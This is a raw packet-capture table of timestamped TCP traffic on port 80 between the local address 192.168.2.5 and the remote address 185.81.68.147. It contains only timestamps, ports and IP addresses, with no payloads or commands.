Dec 26, 2024 12:05:19.532006979 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.532080889 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.532120943 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.532876015 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.532936096 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.532941103 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.533067942 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.533766031 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.533804893 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.533844948 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.533936977 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.534692049 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.534734964 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.534816980 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.534854889 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.535856962 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.535902977 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.535947084 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.536011934 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.536705971 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.536742926 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.536839962 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.536900997 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.537457943 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.537532091 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.537602901 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.537657022 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.538423061 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.538466930 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.538490057 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.538538933 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.539463043 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.539509058 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.539550066 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.539596081 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.540363073 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.540410995 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.540493011 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.540560961 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.541294098 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.541351080 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.541388988 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.541443110 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.542191029 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.542237997 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.542299986 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.542361021 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.543020010 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.543068886 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.543109894 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.543157101 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.543926954 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.543965101 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.544003963 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.544037104 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.544938087 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.545027018 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.545047998 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.545104027 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.545799017 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.545938969 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.545988083 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.545988083 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.546808004 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.546890020 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.546926022 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.547061920 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.547591925 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.547642946 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.547698021 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.547782898 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.548599005 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.548662901 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.548794031 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.548839092 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.549444914 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.549480915 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.549540043 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.549609900 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.550364017 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.550398111 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.550497055 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.550530910 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.551285982 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.551336050 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.551412106 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.551459074 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.552196980 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.552234888 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.552309990 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.552403927 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.553234100 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.553327084 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.553399086 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.553477049 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.554054022 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.554107904 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.554171085 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.554249048 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.555006981 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.555073023 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.555105925 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.555147886 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.555917978 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.555954933 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.556047916 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.556116104 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.556864977 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.556925058 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.556962967 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.557012081 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.557780981 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.557840109 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.557873011 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.557919025 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.558649063 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.558764935 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.558777094 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.558811903 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.559628010 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.559678078 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.559701920 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.559775114 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.560493946 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.560550928 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.560606956 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.560743093 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.561449051 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.561484098 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.561516047 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.561556101 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.562388897 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.562459946 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.562483072 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.562542915 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.563358068 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.563405991 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.563482046 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.563530922 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.564169884 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.564229012 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.593513012 CET	80	49723	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.593580961 CET	49723	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.596404076 CET	49723	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.716031075 CET	80	49723	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.726325989 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.726394892 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.726413965 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.726460934 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.726780891 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.726856947 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.726892948 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.726928949 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.727699995 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.727714062 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.727770090 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.727770090 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.728641033 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.728663921 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.728697062 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.728715897 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.729537010 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.729604006 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.729618073 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.729646921 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.730489969 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.730566025 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.730600119 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.730664015 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.731359959 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.731437922 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.731467009 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.731523991 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.732245922 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.732311964 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.732358932 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.732407093 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.733217001 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.733283997 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.733285904 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.733330011 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.734127045 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.734190941 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.734194994 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.734236956 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.735061884 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.735116005 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.735157967 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.735224962 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.735961914 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.736082077 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.736191034 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.736239910 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.736916065 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.736974955 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.736999989 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.737040043 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.737829924 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.737884045 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.738075018 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.738123894 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.738826036 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.738869905 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.738915920 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.738964081 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.739624023 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.739680052 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.739784956 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.739825964 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.740587950 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.740629911 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.740793943 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.740839005 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.741988897 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.742034912 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.742070913 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.742111921 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.742785931 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.742824078 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.742889881 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.742955923 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.743469954 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.743576050 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.743607044 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.743736982 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.744299889 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.744350910 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.744419098 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.744518042 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.745279074 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.745358944 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.745449066 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.745491982 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.746506929 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.746562958 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.746668100 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.746722937 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.747514963 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.747559071 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.747570992 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.747627020 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.748400927 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.748509884 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.748534918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.748583078 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.749203920 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.749349117 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.749376059 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.749418020 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.749995947 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.750052929 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.750122070 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.750212908 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.750981092 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.751022100 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.751046896 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.751080036 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.751714945 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.751837015 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.751867056 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.751920938 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.752616882 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.752665043 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.752738953 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.752779961 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.753492117 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.753571033 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.753705025 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.753751993 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.754811049 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.754930019 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.754951000 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.754988909 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.755572081 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.755688906 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.755716085 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.755763054 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.756258011 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.756340027 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.756371975 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.756413937 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.757160902 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.757213116 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.757431984 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.757515907 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.758136034 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.758188009 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.758301973 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.758333921 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.758991957 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.759036064 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.759100914 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.759165049 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.759944916 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.760013103 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.760044098 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.760093927 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.760876894 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.760929108 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.760942936 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.760979891 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.761775970 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.761921883 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.761951923 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.762031078 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.762759924 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.762795925 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.762830973 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.762924910 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.763717890 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.763775110 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.764091015 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.764169931 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.764709949 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.764756918 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.764791012 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.764911890 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.765680075 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.765736103 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.765821934 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.765898943 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.766716957 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.766777039 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.766819000 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.766881943 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.767498970 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.767534018 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.767570972 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.767628908 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.768234968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.768358946 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.768362999 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.768403053 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.769186020 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.769227028 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.769303083 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.769342899 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.770200968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.770215034 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.770256042 CET	49716	80	192.168.2.5	185.81.68.147
